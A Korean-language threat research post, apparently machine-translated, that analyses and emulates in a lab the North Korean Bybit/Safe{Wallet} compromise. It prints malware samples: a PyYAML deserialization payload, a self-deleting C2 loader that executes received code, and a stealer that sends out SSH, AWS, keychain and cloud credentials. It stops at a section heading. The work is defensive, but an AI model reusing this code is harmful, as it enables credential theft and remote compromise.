비트바이비트 - 북한 최대 암호화폐 강도의 에뮬레이션

손상된 macOS 개발자와 AWS 피벗을 통해 북한 최대의 암호화폐 절도 사건을 충실하게 에뮬레이션한 것입니다.

비트바이비트 - 북한 최대 암호화폐 강도의 에뮬레이션

핵심 사항

이 연구의 주요 시사점

  • 초기 액세스 벡터로 역직렬화된 PyYAML은 다음과 같습니다.
  • 이 공격은 세션 토큰 남용과 AWS 측면 이동을 활용했습니다.
  • 정적 사이트 공급망 변조
  • macOS의 Docker 기반 스텔스
  • Elastic과의 엔드투엔드 탐지 상관관계

서문

지난 2월 21, 2025, 업계 최대 암호화폐 거래소 중 하나인 바이비트에서 약 40만 ETH가 사라지면서 암호화폐 업계가 크게 흔들렸습니다. 이 놀라운 절도 사건의 배후에는 북한의 최정예 사이버 공격 부대인 ' 트레이더트래터'가 있는 것으로 추정됩니다. 트레이더트레이터는 다중 서명 지갑 플랫폼인 Safe{Wallet}과의 신뢰할 수 있는 벤더 관계를 악용하여 일상적인 거래를 수십억 달러 규모의 강탈로 전환했습니다. 공급망 표적화는 북한 사이버 전략의 특징이 되었으며, 2017년 이후 60억 달러 이상의 암호화폐를 탈취한 북한 정권의 기반이 되었습니다. 이 글에서는 이 공격을 분석하고, 통제된 환경 내에서 그 전술을 주의 깊게 모방하며, Elastic의 제품과 기능을 사용해 사이버 보안 방어를 강화하기 위한 실질적인 교훈을 제공하고자 합니다.

이 위협에 대한 에뮬레이션은 Sygnia, Mandiant/SAFE, SlowMistUnit42에서 발표한 연구를 기반으로 합니다.

이벤트 연대기

기술 에뮬레이션에 대한 자세한 내용을 알고 싶으시다면 건너뛰셔도 됩니다. 그러나 맥락을 파악하고 공식적으로 보고된 내용을 명확히 하기 위해 위에 언급된 연구를 바탕으로 가정을 뒷받침할 수 있도록 사건의 개괄적인 타임라인을 정리했습니다.

2월 2, 2025- 인프라 설정

공격자가 getstockprice[.]com 도메인을 등록합니다. Namecheap을 통해 이 인프라는 나중에 초기 액세스 페이로드에서 C2 엔드포인트로 사용됩니다.

2월 4, 2025- 초기 타협

개발자1의 macOS 워크스테이션이 악성 Python 애플리케이션을 실행한 후 손상되었습니다. 이 애플리케이션은 도커 관련 로직을 포함하고 공격자의 도메인을 참조했습니다. 파일 경로(~/Downloads/)와 멀웨어 동작은 소셜 엔지니어링을 시사합니다(텔레그램이나 디스코드를 통한 것으로 보이며, 과거 REF7001 및 UNC4899 트릭과 일치합니다).

2월 5, 2025- AWS 침입 시작

공격자가 개발자1의 활성 AWS 세션 토큰을 사용하여 Safe{지갑}의 AWS 환경에 성공적으로 액세스합니다.공격자가 개발자1의 IAM 사용자에게 자신의 가상 MFA 장치를 등록하려고 시도(실패)하며 지속성 시도를 나타냅니다.

2월 5일부터 17일까지: AWS 환경 내에서 정찰 활동이 시작됩니다. 이 기간 동안 공격자의 행동에는 IAM 역할, S3 버킷 및 기타 클라우드 자산의 열거가 포함되었을 가능성이 높습니다.

2월 17, 2025- AWS 명령 및 제어 활동

AWS에서 확인된 C2 트래픽이 관찰되었습니다. 이는 수동적인 정찰에서 능동적인 공격 준비로 전환하는 것을 의미합니다.

2월 19, 2025- 웹 애플리케이션 변조

웨이백 머신에서 캡처한 app.safe.global(Safe{Wallet}의 정적으로 호스팅되는 Next.js 웹 앱)의 스냅샷을 보면 악성 자바스크립트가 있음을 알 수 있습니다. 페이로드는 바이비트 다중 서명 거래를 감지하고 즉시 수정하여 공격자의 지갑으로 자금을 리디렉션하도록 제작되었습니다.

2월 21, 2025- 실행 및 정리

익스플로잇 거래는 손상된 Safe{Wallet} 프론트엔드를 통해 바이비트에 대해 실행됩니다.

새로운 웨이백 머신 스냅샷을 통해 자바스크립트 페이로드가 제거되었음을 확인할 수 있으며, 이는 공격자가 실행 후 수동으로 삭제했음을 나타냅니다.

바이비트 강도 거래가 완료되었습니다. 약 400,000 ETH가 도난당했습니다. 시그니아 등의 후속 분석 결과, 바이비트 인프라가 직접적으로 손상된 것은 아니며, 안전{지갑}이 유일한 장애 지점이었다는 것이 확인되었습니다.

에뮬레이션에 대한 가정

  • 초기 사회 공학 벡터: 개발자1을 손상시키기 위해 소셜 엔지니어링이 사용되었고, 그 결과 악성 Python 스크립트가 실행되었습니다. 소셜 엔지니어링 전술의 정확한 세부 사항(예: 특정 메시지, 사칭 기법 또는 사용된 커뮤니케이션 플랫폼)은 아직 알려지지 않았습니다.
  • 로더 및 2단계 페이로드: 악성 Python 스크립트가 2단계 로더를 실행했습니다. 현재 이 로더와 후속 페이로드가 초기 액세스 파이썬 애플리케이션의 특성과 일치함에도 불구하고 Unit42의 보고에 자세히 설명된 것과 일치하는지 여부는 불분명합니다.
  • 안전한 애플리케이션 구조 및 워크플로: 감염된 애플리케이션(app.global.safe)은 AWS S3에서 정적으로 호스팅되는 Next.js 애플리케이션으로 보입니다. 그러나 정확한 경로, 구성 요소, 개발 프로세스, 버전 관리 방법, 프로덕션 배포 워크플로 등 구체적인 세부 사항은 알려지지 않았습니다.
  • 자바스크립트 페이로드 배포: 공격자가 Safe{Wallet} 애플리케이션에 악성 JavaScript를 삽입했지만, 전체 애플리케이션을 재구축하고 다시 배포했는지 아니면 단순히 특정 JavaScript 파일을 덮어쓰기/수정했는지는 명확하지 않습니다.
  • AWS IAM 및 ID 관리 세부 정보: AWS 내에서 Developer1의 IAM 권한, 역할 및 정책 구성에 대한 세부 정보는 알 수 없습니다. 또한 Safe{Wallet}이 AWS IAM Identity Center를 사용했는지 아니면 다른 신원 관리 솔루션을 사용했는지는 아직 명확하지 않습니다.
  • AWS 세션 토큰 검색 및 사용: 보고서에 따르면 공격자가 임시 AWS 세션 토큰을 사용한 것은 확인되었지만, 개발자1이 원래 이러한 토큰을 검색한 방법(예: AWS SSO, GetSessionToken, 또는 특정 MFA 구성)과 이후 토큰이 저장 또는 활용된 방법(예: 환경 변수, AWS 구성 파일, 사용자 지정 스크립트)에 대한 세부 정보는 알려지지 않았습니다.
  • AWS 열거 및 익스플로잇 기법: 정확한 도구, 열거 방법론, AWS API 호출, 공격자가 2월부터 2월까지 AWS 환경 내에서 수행한 구체적인 작업은 5 , 17, 2025, 아직 공개되지 않았습니다.
  • AWS 지속성 메커니즘: AWS 인프라 내에서 잠재적인 지속성(예: EC2 인스턴스 손상)에 대한 표시가 있지만 도구, 전술 또는 지속성 방법을 포함한 명시적인 세부 사항은 제공되지 않습니다.

공격 개요

암호화폐 생태계 내의 기업을 표적으로 삼는 것은 흔한 일입니다. 북한은 암호화폐의 상대적 익명성과 탈중앙화 특성으로 인해 글로벌 금융 제재를 회피할 수 있기 때문에 이러한 기업을 지속적으로 표적으로 삼고 있습니다. 북한의 공격적인 사이버 그룹은 취약점을 식별하고 악용하는 데 탁월하며, 이로 인해 수십억 달러의 손실이 발생하고 있습니다.

이번 침입은 바이비트의 신뢰할 수 있는 다중 서명 지갑 제공업체인 Safe{Wallet}에서 개발자의 MacOS 워크스테이션이 표적 침해되면서 시작되었습니다. 초기 접근에는 소셜 엔지니어링이 사용되었는데, 이전 캠페인을 기반으로 LinkedIn, Telegram 또는 Discord와 같은 플랫폼을 통해 개발자에게 접근한 후 암호 테마의 Python 애플리케이션이 포함된 아카이브 파일을 다운로드하도록 유도하는 것이 북한에서 선호하는 초기 접근 절차였습니다. 이 Python 애플리케이션에는 권한이 있는 컨테이너 내에서 실행할 수 있는 도커화된 버전의 애플리케이션도 포함되어 있습니다. 개발자에게는 무해해 보이는 이 애플리케이션을 통해 북한 공격자들은 PyYAML 라이브러리의 원격 코드 실행(RCE) 취약점을 악용하여 코드 실행 기능을 제공하고 호스트 시스템을 제어할 수 있었습니다.

공격자들은 개발자의 시스템에 초기 액세스 권한을 얻은 후, 맥OS 환경을 위한 고급 스텔스 및 광범위한 사후 익스플로잇 기능을 제공하는 강력한 골랑 기반 페이로드인 MythicC2의 포세이돈 에이전트를 배포했습니다. 그런 다음 공격자는 정찰을 수행하여 개발자가 Safe{Wallet}의 AWS 환경에 액세스하고 다중 인증(MFA)을 통해 보호된 임시 AWS 사용자 세션 토큰을 사용하는 것을 발견했을 수 있습니다. 개발자의 AWS 액세스 키 ID, 비밀 키, 임시 세션 토큰으로 무장한 위협 행위자는 세션 토큰의 12시간 유효 기간을 활용하여 약 24 시간 이내에 Safe{Wallet}의 AWS 환경에 인증했습니다.

공격자는 AWS 환경에 대한 지속적인 액세스를 보장하기 위해 자체 MFA 장치를 등록하려고 시도했습니다. 그러나 AWS 임시 세션 토큰은 MFA 인증 컨텍스트가 없는 IAM API 호출을 허용하지 않으므로 이 시도는 실패합니다. 이 사소한 좌절 이후, 위협 행위자는 AWS 환경을 열거했고, 결국 Safe{Wallet}의 정적 Next.js 사용자 인터페이스를 호스팅하는 S3 버킷을 발견했습니다.

공격자는 이 Next.js 애플리케이션의 번들 코드를 다운로드하여 약 2주 동안 기능을 분석한 후 악성 JavaScript를 기본 JS 파일에 삽입하고 S3 버킷에 호스팅된 합법적인 버전을 덮어썼을 수 있습니다. 악성 자바스크립트 코드는 바이비트의 콜드월렛 주소와 공격자가 제어하는 주소에서 시작된 거래에서만 활성화되었습니다. 스크립트는 하드코딩된 매개변수를 삽입함으로써 거래 유효성 검사 및 디지털 서명 확인을 우회하여 Safe{Wallet} 인터페이스를 암묵적으로 신뢰하는 바이비트 지갑 승인자를 효과적으로 속였습니다.

얼마 지나지 않아 북한은 사기 거래를 시작하여 악성 스크립트를 실행하여 거래 세부 정보를 변경했습니다. 이러한 조작은 지갑 서명자들이 불법 송금을 승인하도록 오도하여 북한 요원들이 약 40만 개의 이더리움을 통제할 수 있게 하는 데 기여했을 가능성이 높습니다. 이렇게 훔친 자금은 공격자가 통제하는 지갑으로 세탁되었습니다.

저희는 연구 및 동작 에뮬레이션을 종료하는 시점을 Next.js 애플리케이션의 타협으로 결정했습니다. 따라서 다른 여러 연구 간행물에서 논의된 이더 스마트 컨트랙트, 컨트랙트 주소, 스윕 이더 콜과 같은 블록체인 기술에 대해서는 자세히 다루지 않습니다.

공격 에뮬레이션

이 침해 사고를 제대로 이해하기 위해 저희는 통제된 실험실 환경에서 전체 공격 체인을 에뮬레이션하기로 결정했습니다. Elastic의 보안 연구원으로서 저희는 코드 실행부터 AWS 세션 하이재킹, 브라우저 기반 트랜잭션 조작에 이르기까지 각 단계에서 이 작업이 어떻게 전개되었는지 이해하기 위해 공격자의 발자취를 따라가 보고자 했습니다.

이 실습용 에뮬레이션은 두 가지 목적을 달성했습니다. 첫째, 세분화된 기술적 수준에서 공격을 분석하여 실질적인 탐지 및 예방 기회를 발견할 수 있었습니다. 둘째, 우리 플랫폼이 공격의 각 단계를 탐지할 수 있을 뿐만 아니라 방어자가 조치를 취할 수 있는 일관된 내러티브로 상호 연관시킬 수 있는지 확인하기 위해 Elastic의 기능을 엔드 투 엔드 테스트할 수 있는 기회를 가졌습니다.

MacOS 엔드포인트 손상

Unit42의상세한 기록과 복구된 샘플을 VirusTotal에 업로드한 덕분에 야생에서 관찰된 실제 페이로드를 사용하여 엔드투엔드 공격을 에뮬레이션할 수 있었습니다. 여기에는 다음이 포함됩니다:

  • PyYAML 역직렬화 페이로드
  • Python 로더 스크립트
  • 파이썬 스틸러 스크립트

악성 파이썬 애플리케이션

에뮬레이션에 사용한 초기 액세스 Python 애플리케이션은 SlowMist에서 강조하고 공유한 샘플과 일치하며, SAFE 개발자 침해 사고에 대한 Mandiant의 사고 대응 결과에 의해 입증되었습니다. 이 애플리케이션은 Unit42가 작성한 글에서 보여준 애플리케이션의 디렉토리 구조와도 일치했습니다. 공격자는 GitHub에서 합법적인 주식 거래 파이썬 프로젝트를 포크하여 data_fetcher.py 라는 이름의 파이썬 스크립트 내에 백도어했습니다.

이 애플리케이션은 Streamlit을 활용하여 data_fetcher.py 스크립트를 가져오는 app.py 을 실행합니다.

data_fetcher.py 스크립트에는 공격자가 제어하는 도메인에 접속하도록 설계된 악성 기능이 포함되어 있습니다.

기본적으로 스크립트는 유효한 주식 시장 관련 데이터를 가져옵니다. 그러나 특정 조건에 따라 공격자가 제어하는 서버는 악성 YAML 페이로드를 대신 반환할 수 있습니다. PyYAML의 안전하지 않은 로더(yaml.load())를 사용하여 평가할 때 이 페이로드는 임의의 파이썬 객체 역직렬화를 허용하여 RCE를 생성합니다.

PyYAML 역직렬화 페이로드

(VT 해시: 47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f)

파이썬애니웨어를 사용하여 공격자 인프라를 모방하는 파이썬+플라스크 웹 애플리케이션에서 YAML 역직렬화 페이로드를 호스팅하여 이 악성 설정을 재현했습니다. 파이썬애니웨어에서 호스팅하는 YAML 페이로드를 가리키도록 data_fetcher.py 스크립트의 악성 URL을 업데이트했습니다.

PyYAML이 악성 YAML 페이로드를 로드하고 실행하면 다음 작업을 수행합니다:

먼저, 피해자의 홈 디렉터리에 Public 이라는 디렉터리를 만듭니다.

directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")

if not os.path.exists(directory):
    os.makedirs(directory)

그런 다음 base64로 인코딩된 Python 로더 스크립트를 디코딩하여 Public 디렉터리 내의 __init__.py 이라는 새 파일에 씁니다.

filePath = os.path.join(directory, "__init__.py")

with open(filePath, "wb") as f:
    f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))

마지막으로 새로 생성된 __init__.py 스크립트를 백그라운드에서 조용히 실행하여 공격의 두 번째 단계를 시작합니다.

subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)

파이썬 로더 스크립트

(VT 해시: 937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79)

포렌식 증거를 남기지 않기 위해 로더는 실행 후 먼저 해당 파일(__init__.py)을 삭제하여 메모리에서만 실행되도록 합니다.

directory = os.path.join(home_directory, "Public")

    if not os.path.exists(directory):
        os.makedirs(directory)

    try:
        body_path = os.path.join(directory, "__init__.py")
        os.remove(body_path)

이 로더의 주요 목표는 명령 및 제어(C2) 서버와 지속적인 통신을 설정하는 것입니다. OS 유형, 아키텍처, 시스템 버전과 같은 기본 시스템 정보를 수집하고 이러한 세부 정보를 하드코딩된 /club/fb/status URL 엔드포인트에 대한 HTTP POST 요청을 통해 C2로 전송합니다.

params = {
        "system": platform.system(),
        "machine": platform.machine(),
        "version": platform.version()
    }
    while True:
        try:
            response = requests.post(url, verify=False, data = params, timeout=180)

로더는 서버의 응답(ret 값)에 따라 다음 단계를 결정합니다.

ret == 0:

스크립트가 20 초 동안 절전 모드로 전환되고 폴링을 계속합니다.

if res['ret'] == 0:
    time.sleep(20)
    continue
ret == 1:

서버 응답에는 Base64 형식의 페이로드가 포함됩니다. 스크립트는 이 페이로드를 디코딩하여 파일(Windows의 경우 init.dll, 그렇지 않은 경우 init )에 기록한 다음 ctypes.cdll.LoadLibrary 을 사용하여 라이브러리를 동적으로 로드하여 페이로드가 네이티브 바이너리로 실행되도록 합니다.

elif res['ret'] == 1:
    if platform.system() == "Windows":
        body_path = os.path.join(directory, "init.dll")
    else:
        body_path = os.path.join(directory, "init")
        with open(body_path, "wb") as f:
            binData = base64.b64decode(res["content"])
            f.write(binData)
            os.environ["X_DATABASE_NAME"] = ""
            ctypes.cdll.LoadLibrary(body_path)
ret == 2:

이 스크립트는 Base64 콘텐츠를 Python 소스 코드로 디코딩한 다음 Python의 exec() 함수를 사용하여 실행합니다. 이를 통해 임의의 Python 코드를 실행할 수 있습니다.

elif res['ret'] == 2:
    srcData = base64.b64decode(res["content"])
    exec(srcData)
ret == 3:

이 스크립트는 바이너리 페이로드(dockerd)와 바이너리 구성 파일(docker-init)을 두 개의 개별 파일로 디코딩하고 권한을 실행 가능으로 설정한 다음, 구성 파일을 바이너리 페이로드의 인수로 제공하여 새 프로세스로 실행하려고 시도합니다. 바이너리 페이로드가 실행된 후에는 실행 파일을 삭제하고 구성 파일은 참조용으로 디스크에 남겨둡니다.

elif res['ret'] == 3:
    path1 = os.path.join(directory, "dockerd")
    with open(path1, "wb") as f:
        binData = base64.b64decode(res["content"])
        f.write(binData)

    path2 = os.path.join(directory, "docker-init")
    with open(path2, "wb") as f:
        binData = base64.b64decode(res["param"])
        f.write(binData)

    os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    try:
        process = subprocess.Popen([path1, path2], start_new_session=True)
        process.communicate()
        return_code = process.returncode
        requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
    except:
        pass

    os.remove(path1)
ret == 9:

스크립트가 폴링 루프에서 벗어나 추가 작업을 종료합니다.

elif res['ret'] == 9:
    break

모든 명령을 처리한 후 스크립트는 C2 서버의 추가 지침을 계속 폴링합니다.

파이썬 로더 에뮬레이션

우리의 목표는 로더 내의 각 명령 옵션을 테스트하여 무슨 일이 일어나고 있는지 더 잘 이해하고, 관련 원격 분석 데이터를 수집하고, 엔드포인트와 SIEM 모두를 위한 강력한 탐지를 구축하기 위한 목적으로 분석하는 것이었습니다.

Ret == 1: 디스크에 라이브러리 쓰기, Dylib 로드 및 삭제

이 옵션에 사용한 페이로드는 공유 라이브러리로 컴파일된 포세이돈 페이로드입니다(.dylib).

그런 다음 바이너리를 베이스64로 인코딩하고 이 특정 로더 명령을 테스트할 때 제공될 C2 서버에서 베이스64로 인코딩된 페이로드의 경로를 하드코딩할 수 있었습니다.

base64 poseidon.dylib > poseidon.b64
BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD"  # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1   # Change this value to test different actions

Mythic C2에 대한 Poseidon 페이로드 콜백을 받은 후 Poseidon에서 제공하는 다양한 방법을 사용하여 자격 증명을 검색할 수 있었습니다.

옵션 1: 다운로드 명령 - 파일에 액세스하여 콘텐츠를 읽고 데이터를 C2로 다시 전송합니다.
옵션 2: getenv 명령 - 사용자 환경 변수를 읽고 콘텐츠를 C2로 다시 보냅니다.
옵션 3: jsimport & jsimport_call 명령 - JXA 스크립트를 메모리로 가져온 다음 JXA 스크립트 내의 메서드를 호출하여 파일에서 자격 증명을 검색하고 콘텐츠를 반환합니다.

Ret == 2: 프로세스 메모리 내에서 임의의 파이썬 코드를 수신하고 실행합니다.

(VT 해시: e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7)

로더 스크립트를 사용하면 메모리에서 임의의 Python 코드나 스크립트를 실행할 수 있습니다. Unit42의 블로그에서 그들은 이 반환값을 통해 북한이 실행하는 것을 관찰한 Python 스크립트를 제공했습니다. 이 스크립트는 방대한 양의 데이터를 수집합니다. 이 데이터는 XOR 인코딩되어 POST 요청을 통해 C2 서버로 다시 전송됩니다. 에뮬레이션을 위해 필요한 것은 C2 서버에 정의된 적절한 경로를 가진 C2 URL을 추가하고 이 옵션을 테스트할 때 서버 내에서 경로를 하드코딩하는 스크립트를 base64 인코딩하는 것뿐이었습니다.

def get_info():
    global id
    id = base64.b64encode(os.urandom(16)).decode('utf-8')
    
    # get xor key
    while True:
        if not get_key():
            break

        base_info()
        send_directory('home/all', '', home_dir)
        send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
        send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
        send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
        send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
        send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
        finalize()
        break
Ret == 3: 디스크에 바이너리 페이로드 및 바이너리 구성 쓰기, 페이로드 실행 및 파일 삭제

ret == 3 의 경우 로더 스크립트에 지정된 대로 표준 포세이돈 바이너리 페이로드와 바이너리 데이터가 포함된 '구성 파일'을 사용했습니다. 그런 다음 위의 ret == 1 옵션과 같이 바이너리와 설정 파일을 모두 base64 인코딩하고 이 명령을 테스트할 때 제공하기 위해 C2 서버에서 해당 경로를 하드코딩했습니다. 위의 ret == 1 옵션과 동일하게 동일한 명령을 사용하여 대상 시스템에서 자격 증명을 수집할 수 있었습니다.

C2 인프라

저희는 Python+Flask로 구축된 매우 간단하고 작은 C2 서버를 만들었는데, Kali Linux VM에서 지정된 포트로 수신 대기하고 들어오는 요청을 평가하여 테스트하고자 하는 경로와 반환 값에 따라 적절하게 응답하기 위한 것이었습니다.

또한 우리가 사용한 포세이돈 페이로드의 생성 및 관리를 용이하게 하기 위해 오픈 소스인 Mythic C2를 사용했습니다. Mythic은 SpecterOps의 Cody Thomas가 만들고 유지 관리하는 오픈 소스 C2 프레임워크입니다.

악성 파이썬 애플리케이션: 도커 버전

또한 악성 Python 애플리케이션의 도커화된 변종에 대해서도 살펴봤습니다. 이 버전은 권한 모드에서 실행되는 최소한의 파이썬 도커 컨테이너(python:3.12.2-slim)에 패키징되어 호스트 리소스에 액세스할 수 있는 권한을 부여합니다.

컨테이너화된 애플리케이션은 Apple의 ESF(엔드포인트 보안 프레임워크)에 컨테이너화된 프로세스를 인트로스펙트하는 기능이 부족하기 때문에 macOS에서 원격 측정 및 탐지 사각지대를 만듭니다. ESF 및 엔드포인트 탐지 솔루션은 신뢰할 수 있는 Docker 프로세스가 SSH 키, AWS 자격 증명 또는 사용자 구성 데이터와 같은 민감한 호스트 파일에 액세스하는 것을 관찰할 수 있지만, 이러한 작업은 일반적으로 표준 개발자 워크플로와 일치합니다. 그 결과, 보안 도구가 컨테이너화된 활동을 면밀히 조사하거나 경고를 트리거할 가능성이 낮아져 공격자가 Docker 환경 내에서 활동할 때 은밀성을 높일 수 있습니다.

이는 표준 macOS 엔드포인트 방어를 보완하기 위해 OSQueryDocker 로그 파일 수집과 같은 추가 모니터링의 필요성을 강조합니다. Elastic은 엔드포인트 보호 기능과 함께 Elastic 에이전트용 데이터 통합을 통해 OSQuery 및 Docker 로그 파일 수집을 모두 제공합니다.

MacOS 에뮬레이션 결론

저희의 에뮬레이션은 실제 페이로드를 사용하여 SAFE 개발자의 macOS 시스템에 대한 공격을 엔드투엔드 방식으로 재현했습니다.

악성 파이썬 앱:

맨디언트의 연구 결과와 Unit42의 보고서에 설명된 악성 Python 애플리케이션을 복제하는 것으로 시작했습니다. 공격자는 합법적인 오픈 소스 애플리케이션을 포크하고 data_fetcher.py 에 RCE 액세스 권한을 임베드했습니다. 이 스크립트는 공격자가 제어하는 서버에 아웃바운드 요청을 하고 조건부로 악성 YAML 파일을 가져옵니다. 공격자는 안전하지 않은 로더가 포함된 PyYAML의 yaml.load() 을 사용하여 역직렬화를 통해 임의의 코드 실행을 트리거했습니다.

PyYAML 페이로드 역직렬화로 인한 파이썬 로더 스크립트 실행:

YAML 페이로드는 base64로 인코딩된 2단계 로더를 ~/Public/__init__.py 에 작성하고 분리된 프로세스에서 실행했습니다. 파이썬애니웨어에서 호스팅되는 플라스크 기반 스테이징 서버를 사용하여 이 흐름을 그대로 모방했습니다.

파이썬 로더 실행 & C2 상호 작용:

로더가 실행되면 디스크에 있는 파일을 삭제하고 에뮬레이트된 C2에 비콘을 보내 작업을 기다렸습니다. C2의 응답 코드(ret)를 기반으로 다음 작업을 테스트했습니다:

  • ret == 1: 로더가 포세이돈 페이로드( .dylib)를 디코딩하고 ctypes.cdll.LoadLibrary() 을 사용하여 실행한 결과 디스크에서 네이티브 코드가 실행됩니다.
  • ret == 2: 로더가 Unit42가 공유한 스크립트와 일치하는 인메모리 Python 스틸러를 실행했습니다. 이 스크립트는 시스템, 사용자, 브라우저, 자격 증명 데이터를 수집하여 XOR 인코딩된 POST 요청을 통해 유출했습니다.
  • ret == 3: 로더가 포세이돈 바이너리와 별도의 바이너리 구성 파일을 디스크에 쓰고, config를 인수로 사용하여 바이너리를 실행한 다음 페이로드를 삭제했습니다.
  • ret == 9: 로더가 폴링 루프를 종료했습니다.

데이터 수집: 사전 피벗 정찰: & 자격 증명 액세스:

레트 == 2 테스트 중에 파이썬 도둑놈이 모였습니다:

  • macOS 시스템 정보 (platform, os, user)
  • Chrome 사용자 데이터(북마크, 쿠키, 로그인 데이터 등)
  • SSH 개인 키 (~/.ssh)
  • AWS 자격 증명 (~/.aws/credentials)
  • macOS 키체인 파일 (login.keychain-db)
  • GCP/Kube 구성 파일의 출처 .config/

이는 클라우드 익스플로잇 이전의 사전 피벗 데이터 수집을 모방한 것으로, 북한 공격자가 개발자의 로컬 환경에서 AWS 자격 증명을 수집한 방법을 반영합니다.

그런 다음 위협 행위자는 유효한 AWS 자격 증명을 사용하여 클라우드 환경으로 이동하여 이 침입의 두 번째 단계를 시작했습니다.

AWS 클라우드 침해

사전 요구 사항 및 설정

이 공격의 AWS 단계를 모방하기 위해 먼저 테라폼을 활용하여 필요한 인프라를 구축했습니다. 여기에는 S3, IAM 및 STS API에 대한 액세스 권한을 부여하는 지나치게 허용적인 IAM 정책으로 IAM 사용자(개발자)를 만드는 것이 포함되었습니다. 그런 다음 로컬에서 빌드한 Next.js 애플리케이션을 S3 버킷에 푸시하고 간단한 Safe{Wallet} 프론트엔드를 시뮬레이션하여 사이트가 라이브 상태인지 확인했습니다.

저희가 선택한 Next.js 은 원래의 S3 버킷 정적 사이트 경로를 기반으로 합니다. https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js

악성 코드를 삽입하기 전에 알려진 대상 지갑 주소를 사용하여 테스트 거래를 수행하여 애플리케이션이 예상대로 응답하는지 확인하여 사이트의 무결성을 확인했습니다.

임시 세션 토큰 검색

개발자의 macOS 워크스테이션에 대한 초기 액세스 및 침해 후 활동 이후, 초기 가정은 공격자가 기본 AWS 구성 위치( ~/.aws 또는 사용자 환경 변수)에서 자격 증명을 검색하는 것에 초점을 맞췄습니다. 나중에 Unit42의 블로그를 통해 Python 스틸러 스크립트가 AWS 파일을 표적으로 삼았다는 사실이 확인되었습니다. 이러한 위치에는 표준 개발 워크플로에 사용되는 장기 IAM 자격 증명 또는 임시 세션 토큰을 저장하는 경우가 많습니다. 그러나 공개 보고에 따르면, 이 특정 침해는 장기 IAM 자격 증명이 아닌 AWS 사용자 세션 토큰과 관련이 있습니다. 에뮬레이션에서 개발자는 가상 MFA 장치를 IAM 사용자에게 추가하고 이를 활성화한 다음 사용자 세션 토큰을 검색하고 자격 증명을 환경으로 내보냈습니다. Kali Linux 엔드포인트에서는 공격자들이 사용한 것과 마찬가지로 AWS API 호출이나 개발자 박스와의 상호 작용에 ExpressVPN을 활용했습니다.

개발자가 GetSessionToken API 작업을 통해 임시 AWS 자격 증명을 얻거나 AWS CLI를 사용하여 AWS 싱글 사인온(SSO)을 통해 로그인하여 임시 AWS 자격 증명을 얻은 것으로 의심됩니다. 두 가지 방법 모두 수명이 짧은 자격 증명이 로컬에 캐시되어 CLI 또는 SDK 기반 상호작용에 사용할 수 있습니다. 이러한 임시 자격 증명은 ~/.aws 파일에 캐시되거나 macOS 시스템에서 환경 변수로 내보내졌을 가능성이 높습니다.

GetSessionToken 시나리오에서 개발자는 다음과 같은 명령을 실행했을 것입니다:

aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE"  --duration-seconds 43200 --profile "$AWS_PROFILE" --output json

SSO 기반 인증 시나리오에서는 개발자가 실행했을 수 있습니다:

aws configure sso 
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`

두 방법 모두 임시 자격증명(액세스 키, 비밀 및 세션 토큰)이 ~/.aws 파일에 저장되고 구성된 AWS 프로필에서 사용할 수 있게 됩니다. 이러한 자격 증명은 재정의하지 않는 한 AWS CLI 또는 Boto3와 같은 SDK와 같은 도구에서 자동으로 사용됩니다. 두 경우 모두 멀웨어나 공격자가 개발자의 macOS 시스템에 액세스할 수 있었다면 환경 변수, AWS 구성 캐시 또는 자격 증명 파일에서 이러한 자격 증명을 쉽게 수집할 수 있었을 것입니다.

개발자1에 대한 이러한 자격 증명을 얻기 위해 빠른 자동화를 위한 사용자 지정 스크립트를 만들었습니다. AWS에서 가상 MFA 장치를 생성하고, 개발자1 사용자에게 장치를 등록한 다음, STS에서 GetSessionToken 으로 호출하여 아래와 같이 반환된 임시 사용자 세션 자격 증명을 macOS 엔드포인트에 환경 변수로 추가했습니다.

MFA 장치 등록 시도 횟수

여기서 한 가지 중요한 가정은 개발자가 직접 사용하거나 사용자 지정 관리 IAM 역할을 맡기 위해 MFA가 활성화된 사용자 세션으로 작업하고 있다는 것입니다. 이 가정은 유출된 자격 증명 자료인 AWS 임시 사용자 세션 토큰에서 비롯된 것으로, 콘솔에서 얻은 것이 아니라 STS에서 필요에 따라 요청하는 것입니다. 기본적으로 GetSessionToken 또는 SSO에서 반환된 임시 자격 증명은 일정 시간이 지나면 만료되며, ASIA* 접두사가 붙은 세션 토큰은 공격자가 수명이 짧지만 영향력이 큰 자격 증명을 수집한 것으로 추정됩니다. 이는 이전에 북한 소행으로 추정되는 공격에서 볼 수 있었던 행동과 일치하며, Kubernetes, GCP, AWS의 자격 증명과 구성을 추출하여 재사용하는 방식입니다.

칼리에서 손상된 신원 가정하기

